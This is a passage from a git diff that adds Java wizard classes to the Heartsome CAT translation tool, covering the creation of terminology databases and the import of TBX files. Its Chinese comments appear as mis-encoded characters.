(dbMetaData.instanceSupported()) { + if (instance == null || instance.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.instancemsg")); + } + dbMetaData.setInstance(instance == null ? "" : instance); + } + + if (dbMetaData.dataPathSupported()) { + if (location == null || location.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg3")); + } + File f = new File(location); + if (!f.isDirectory() || !f.exists()) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg11")); + } + } + + if (dbMetaData.serverNameSupported()) { + if (host == null || host.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg4")); + } + } + if (dbMetaData.portSupported()) { + if (port == null || !port.matches("[0-9]+")) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg5")); + } + } + if (dbMetaData.userNameSupported()) { + if (username == null || username.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTermDbBaseInfoPage.msg6")); + } + } + + dbMetaData.setDatabaseName(dbName == null ? "" : dbName); + dbMetaData.setDataPath(location == null ? "" : location); + dbMetaData.setServerName(host == null ? "" : host); + dbMetaData.setPort(port == null ? "" : port); + dbMetaData.setUserName(username == null ? "" : username); + dbMetaData.setPassword(password == null ? "" : password); // 密ç å¯ä»¥ä¸ºç©º + + return ValidationStatus.ok(); + } + + /** + * 获å–æ•°æ®åº“æ“作对象 + * @return ; + */ + public SystemDBOperator getCurrDbOp() { + return dbOp; + } + + /** + * 检查æœåŠ¡å™¨åž‹æ•°æ®åº“ + * @return ; + */ + public String checkDb4Server(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 3); + monitor.setTaskName(Messages.getString("wizard.NewTermDbBaseInfoPage.task1")); + String message = null; + if (!dbOp.checkDbConnection()) { + message = Messages.getString("wizard.NewTermDbBaseInfoPage.msg7"); + return message; + } + + if (!dbOp.checkSysDb()) { // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“,没创建则创建 + try { + dbOp.createSysDb(); + } catch (Exception e) { + logger.error(Messages.getString("wizard.NewTermDbBaseInfoPage.logger1")); + message = Messages.getString("wizard.NewTermDbBaseInfoPage.msg8"); + return message; + } + } + monitor.worked(1); + if (dbOp.checkDbExistOnServer()) { + message = Messages.getString("wizard.NewTermDbBaseInfoPage.msg9") + dbOp.getMetaData().getDatabaseName(); + return message; + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.done(); + return message; + } + + public String canCreateDb(IProgressMonitor monitor) { + String message = null; + if (dbOp == null) { + message = Messages.getString("wizard.NewTermDbBaseInfoPage.msg1"); + } + + message = checkDb4Server(monitor); + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } else { + pStore.setValue(TBPreferenceConstants.TB_RM_DBTYPE, dbModel.getDbType()); + pStore.setValue(TBPreferenceConstants.TB_RM_INSTANCE, dbModel.getInstance()); + pStore.setValue(TBPreferenceConstants.TB_RM_SERVER, dbModel.getHost()); + pStore.setValue(TBPreferenceConstants.TB_RM_PORT, dbModel.getPort()); + pStore.setValue(TBPreferenceConstants.TB_RM_USERNAME, dbModel.getUserName()); + pStore.setValue(TBPreferenceConstants.TB_RM_PATH, dbModel.getItlDBLocation()); + } + + return message; + } + + /** + * 创建数æ®åº“ + * @return ; + */ + public String executeCreateDB(SystemDBOperator dbOp, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 3); + monitor.setTaskName(Messages.getString("wizard.NewTermDbBaseInfoPage.task2")); + String message = null; + try { + if (Constants.FAILURE == dbOp.createDB()) { + message = Messages.getString("wizard.NewTermDbBaseInfoPage.msg8"); + } else { + if (!dbOp.getDBConfig().getDefaultType().equals(Constants.DBTYPE_SQLITE)) { + dbOp.updataSysDb(Constants.DB_TYPE_TB); // 更新系统库 + saveToServerConfigFile(dbOp); // 处ç†æœ¬åœ°æœåŠ¡å™¨åˆ—表 + } + } + monitor.worked(3); + } catch (SQLException e) { + logger.error("", e); + e.printStackTrace(); + message = Messages.getString("wizard.NewTermDbBaseInfoPage.msg10") + e.getMessage(); + return message; + } finally { + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + monitor.done(); + } + return message; + } + + private void saveToServerConfigFile(SystemDBOperator dbOp) { + DatabaseConfiger cf = new DatabaseConfiger(); + DatabaseModelBean bean = new DatabaseModelBean(); + MetaData md = dbOp.getMetaData(); + bean.metaDatatToBean(md); + + String serverId = cf.isServerExist(bean, md); // 判断当å‰æœåŠ¡å™¨æ˜¯å¦å·²ç»å­˜åœ¨ + if (serverId == null || serverId.equals("")) { // ä¸å­˜åœ¨ + cf.addServerConfig(bean); + } else { + bean.setId(serverId); + cf.updateServerConfigById(serverId, bean); + } + } + + public boolean canFlipToNextPage() { + return isPageComplete(); + } + + public IWizardPage getNextPage() { + WizardPage nextPage = (WizardPage) super.getNextPage(); + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + if (canCreateDb(monitor) != null) { + throw new InterruptedException(); + } + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + logger.error("", e); + e.printStackTrace(); + return null; + } catch (InterruptedException e) { + e.printStackTrace(); + return null; + } + nextPage.setErrorMessage(null); + return nextPage; + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbImportPage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbImportPage.java new file mode 100644 index 0000000..4938ec8 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbImportPage.java @@ -0,0 +1,214 @@ +/** + * NewDatabaseWizardImportPage.java + * + * Version information : + * + * Date:Oct 28, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; + +/** + * 导入TBX文件å‘导页 + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewTermDbImportPage extends WizardPage { + private Text tbxFileText; + + private final NewTermDbBaseInfoPage createDbPage; + + /** + * Create the wizard. + */ + public NewTermDbImportPage(NewTermDbBaseInfoPage createDbPage) { + super("importWizardPage"); + this.createDbPage = createDbPage; + setTitle(Messages.getString("wizard.NewTermDbImportPage.title")); + setDescription(Messages.getString("wizard.NewTermDbImportPage.desc")); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + + setControl(container); + container.setLayout(new GridLayout(3, false)); + + Label lblTbx = new Label(container, SWT.NONE); + lblTbx.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblTbx.setText(Messages.getString("wizard.NewTermDbImportPage.lblTbx")); + + tbxFileText = new Text(container, SWT.BORDER); + tbxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tbxFileText.setEditable(false); + + Button tbxFileBorwserBtn = new Button(container, SWT.NONE); + tbxFileBorwserBtn.setText(Messages.getString("wizard.NewTermDbImportPage.tbxFileBorwserBtn")); + tbxFileBorwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell()); + String[] filterExt = { "*.tbx" }; + dlg.setFilterExtensions(filterExt); + String path = dlg.open(); + if (path != null) { + tbxFileText.setText(path); + } + } + }); + + } + + /** + * 创建数æ®åº“,并导入文件 + * @param tbxFile + * TBX文件 + * @param dbOp + * @param monitor + * @throws InterruptedException + * ; + */ + public void performFinish(String tbxFile, SystemDBOperator dbOp, IProgressMonitor monitor) + throws InterruptedException { + if (tbxFile != null) { + monitor.beginTask(Messages.getString("wizard.NewTermDbImportPage.task1"), 1000); + } + + String message = createDbPage.canCreateDb(new SubProgressMonitor(monitor, 100)); + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + + message = createDbPage.executeCreateDB(dbOp, new SubProgressMonitor(monitor, 100)); + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + if (tbxFile != null) { + executeImport(tbxFile, dbOp.getMetaData(), new SubProgressMonitor(monitor, 800)); + } + monitor.done(); + } + + /** + * 执行导入 + * @param tmxFile + * @param tbxFile + * @param dbMetaData + * @param monitor + * ; + */ + public void executeImport(String tbxFile, MetaData dbMetaData, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.setTaskName(Messages.getString("wizard.NewTermDbImportPage.task2")); + monitor.beginTask("", 1); + int tbxResult = -10; + String message = ""; + if (tbxFile != null) { + try { + tbxResult = DatabaseService.importTbxWithFile(tbxFile, new SubProgressMonitor(monitor, 100), + dbMetaData, getTbxImportStrategy()); + } catch (ImportException e) { + message = e.getMessage(); + } + if (!message.equals("")) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + } + + StringBuffer resultMessage = new StringBuffer(); + if (tbxResult != DatabaseService.SUCCESS) { + if (tbxResult == DatabaseService.FAILURE_1) { + resultMessage.append(Messages.getString("wizard.NewTermDbImportPage.msg1")); + } else if (tbxResult == DatabaseService.FAILURE_2) { + resultMessage.append(Messages.getString("wizard.NewTermDbImportPage.msg2")); + } else if (tbxResult == DatabaseService.FAILURE_3) { + resultMessage.append(Messages.getString("wizard.NewTermDbImportPage.msg3")); + } else if (tbxResult == DatabaseService.FAILURE_4) { + resultMessage.append(Messages.getString("wizard.NewTermDbImportPage.msg4")); + } else if (tbxResult == DatabaseService.FAILURE) { + resultMessage.append(Messages.getString("wizard.NewTermDbImportPage.msg5")); + } else if (tbxResult == DatabaseService.CANCEL) { + resultMessage.append(Messages.getString("wizard.NewTermDbImportPage.msg6")); + } + + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + } + monitor.done(); + } + + public String getTBXFile() { + String file = tbxFileText.getText().trim(); + if (file == null || file.length() == 0) { + return null; + } + return file; + } + + /** + * 从首选项中读å–TBX导入策略 + * @return ; + */ + public int getTbxImportStrategy() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + return ps.getInt(TBPreferenceConstants.TB_UPDATE); + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbWizard.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbWizard.java new file mode 100644 index 0000000..f22a877 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/NewTermDbWizard.java @@ -0,0 +1,112 @@ +/** + * NewTMBWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.INewWizard; +import org.eclipse.ui.IWorkbench; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewTermDbWizard extends Wizard implements INewWizard { + + private NewTermDbBaseInfoPage createDbPage; + private NewTermDbImportPage importPage; + + /** + * + */ + public NewTermDbWizard() { + SystemResourceUtil.load(); + setWindowTitle(Messages.getString("wizard.NewTermDbWizard.title")); + } + + @Override + public void addPages() { + createDbPage = new NewTermDbBaseInfoPage(); + addPage(createDbPage); + importPage = new NewTermDbImportPage(createDbPage); + addPage(importPage); + setNeedsProgressMonitor(true); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IWorkbenchWizard#init(org.eclipse.ui.IWorkbench, + * org.eclipse.jface.viewers.IStructuredSelection) + */ + public void init(IWorkbench workbench, IStructuredSelection selection) { + + } + + @Override + public boolean canFinish() { + return super.canFinish(); + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.wizard.Wizard#performFinish() + */ + @Override + public boolean performFinish() { + final String tbxFile = importPage.getTBXFile(); + final SystemDBOperator dbOp = createDbPage.getCurrDbOp(); + if (dbOp.getDBConfig().getDefaultType().equals(Constants.DBTYPE_SQLITE)) { + String dbName = dbOp.getMetaData().getDatabaseName(); + dbName += ".hstb"; + dbOp.getMetaData().setDatabaseName(dbName); + } + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + importPage.performFinish(tbxFile, dbOp, monitor); + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return false; + } catch (InterruptedException e) { + e.printStackTrace(); + return false; + } + + return true; + } + + public DatabaseModelBean getCreateDb() { + DatabaseModelBean db = createDbPage.getDbModel(); + if (db.getDbType().equals(Constants.DBTYPE_SQLITE)) { + String dbName = db.getDbName(); + dbName += ".hstb"; + db.setDbName(dbName); + } + return db; + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TbxImportWizard.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TbxImportWizard.java new file mode 100644 index 0000000..03de782 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TbxImportWizard.java @@ -0,0 +1,71 @@ +/** + * ImportWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.Wizard; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TbxImportWizard extends Wizard { + private TbxImportWizardTbxPage tbxPage; + private DatabaseModelBean dbModel; + + public TbxImportWizard(DatabaseModelBean dbModel) { + this.dbModel = dbModel; + setNeedsProgressMonitor(true); + setWindowTitle(Messages.getString("wizard.TbxImportWizard.title")); + } + + @Override + public void addPages() { + tbxPage = new TbxImportWizardTbxPage(this.dbModel); + addPage(tbxPage); + } + + @Override + public boolean performFinish() { + + final String tbxFile = tbxPage.getTBXFile(); + if (tbxFile == null || tbxFile.equals("")) { + tbxPage.setErrorMessage(Messages.getString("wizard.TbxImportWizard.msg")); + return false; + } + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + tbxPage.executeImport(tbxFile, monitor); + } + }; + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return false; + } catch (InterruptedException e) { + e.printStackTrace(); + return false; + } + + return true; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TbxImportWizardTbxPage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TbxImportWizardTbxPage.java new file mode 100644 index 0000000..7a6bf78 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TbxImportWizardTbxPage.java @@ -0,0 +1,176 @@ +/** + * ImportWizardTbxPage.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TbxImportWizardTbxPage extends WizardPage { + Logger logger = LoggerFactory.getLogger(TbxImportWizardTbxPage.class); + private Text tbxFileText; + private DatabaseModelBean dbModel; + + /** + * Create the wizard. + */ + public TbxImportWizardTbxPage(DatabaseModelBean dbModel) { + super("wizardPage"); + setTitle(Messages.getString("wizard.TbxImportWizardTbxPage.title")); + setDescription(Messages.getString("wizard.TbxImportWizardTbxPage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/import-tbx-logo.png")); + this.dbModel = dbModel; + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(3, false)); + + Label lblTmx = new Label(container, SWT.NONE); + lblTmx.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblTmx.setText(Messages.getString("wizard.TbxImportWizardTbxPage.lblTmx")); + + tbxFileText = new Text(container, SWT.BORDER | SWT.READ_ONLY); + tbxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tbxFileText.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String tmxFile = getTBXFile(); + if (tmxFile == null) { + setErrorMessage(Messages.getString("wizard.TbxImportWizardTbxPage.msg1")); + setPageComplete(false); + } else { + setErrorMessage(null); + setPageComplete(true); + } + } + }); + + Button tmxFileBorwserBtn = new Button(container, SWT.NONE); + tmxFileBorwserBtn.setText(Messages.getString("wizard.TbxImportWizardTbxPage.tmxFileBorwserBtn")); + tmxFileBorwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell()); + String[] filterExt = { "*.tbx" }; + dlg.setFilterExtensions(filterExt); + String path = dlg.open(); + if (path != null) { + tbxFileText.setText(path); + } + } + }); + setControl(container); + } + + public void executeImport(String tbxFile, IProgressMonitor monitor) throws InterruptedException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + monitor.setTaskName(Messages.getString("wizard.TbxImportWizardTbxPage.task1")); + int tbxResult = -10; + String message = ""; + try { + tbxResult = DatabaseService.importTbxWithFile(tbxFile, monitor, dbModel.toDbMetaData(), + getTbxImportStrategy()); + } catch (ImportException e) { + message = e.getMessage(); + } + if (!message.equals("")) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + + StringBuffer resultMessage = new StringBuffer(); + if (tbxResult != DatabaseService.SUCCESS) { + if (tbxResult == DatabaseService.FAILURE_1) { + resultMessage.append(Messages.getString("wizard.TbxImportWizardTbxPage.msg1")); + } else if (tbxResult == DatabaseService.FAILURE_2) { + resultMessage.append(Messages.getString("wizard.TbxImportWizardTbxPage.msg2")); + } else if (tbxResult == DatabaseService.FAILURE_3) { + resultMessage.append(Messages.getString("wizard.TbxImportWizardTbxPage.msg3")); + } else if (tbxResult == DatabaseService.FAILURE_4) { + resultMessage.append(Messages.getString("wizard.TbxImportWizardTbxPage.msg4")); + } else if (tbxResult == DatabaseService.FAILURE) { + resultMessage.append(Messages.getString("wizard.TbxImportWizardTbxPage.msg5")); + } else if (tbxResult == DatabaseService.CANCEL) { + resultMessage.append(Messages.getString("wizard.TbxImportWizardTbxPage.msg6")); + } + + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + throw new InterruptedException(); + } + monitor.done(); + } + + /** + * 从首选项中读å–导入策略 + * @return ; + */ + public int getTbxImportStrategy() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + return ps.getInt(TBPreferenceConstants.TB_UPDATE); + } + + public String getTBXFile() { + String file = tbxFileText.getText().trim(); + if (file == null || file.length() == 0) { + return null; + } + return file; + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizard.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizard.java new file mode 100644 index 0000000..6416884 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizard.java @@ -0,0 +1,71 @@ +/** + * ImportWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.Wizard; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TermDbManagerImportWizard extends Wizard { + private TermDbManagerImportWizardTbxPage tbxPage; + + public TermDbManagerImportWizard() { + setNeedsProgressMonitor(true); + } + + @Override + public void addPages() { + setWindowTitle(Messages.getString("wizard.TermDbManagerImportWizard.title")); + tbxPage = new TermDbManagerImportWizardTbxPage(); + addPage(tbxPage); + } + + @Override + public boolean performFinish() { + + final String tbxFile = tbxPage.getTBXFile(); + if (tbxFile == null || tbxFile.equals("")) { + tbxPage.setErrorMessage(Messages.getString("wizard.TermDbManagerImportWizard.msg")); + return false; + } + tbxPage.setErrorMessage(null); + tbxPage.setMessage(null); + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + tbxPage.executeImport(tbxFile, monitor); + } + }; + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return false; + } catch (InterruptedException e) { + e.printStackTrace(); + return false; + } +// tbxPage.setPageComplete(false); + + return true; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizardDialog.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizardDialog.java new file mode 100644 index 0000000..29ab684 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizardDialog.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.database.ui.tb.wizard; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.database.ui.tb.preference.TBDatabasePage; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; + +/** + * 导入 TBX å‘导框 + * @author peason + * @version + * @since JDK1.6 + */ +public class TermDbManagerImportWizardDialog extends TSWizardDialog { + + private Button btnSetting; + + 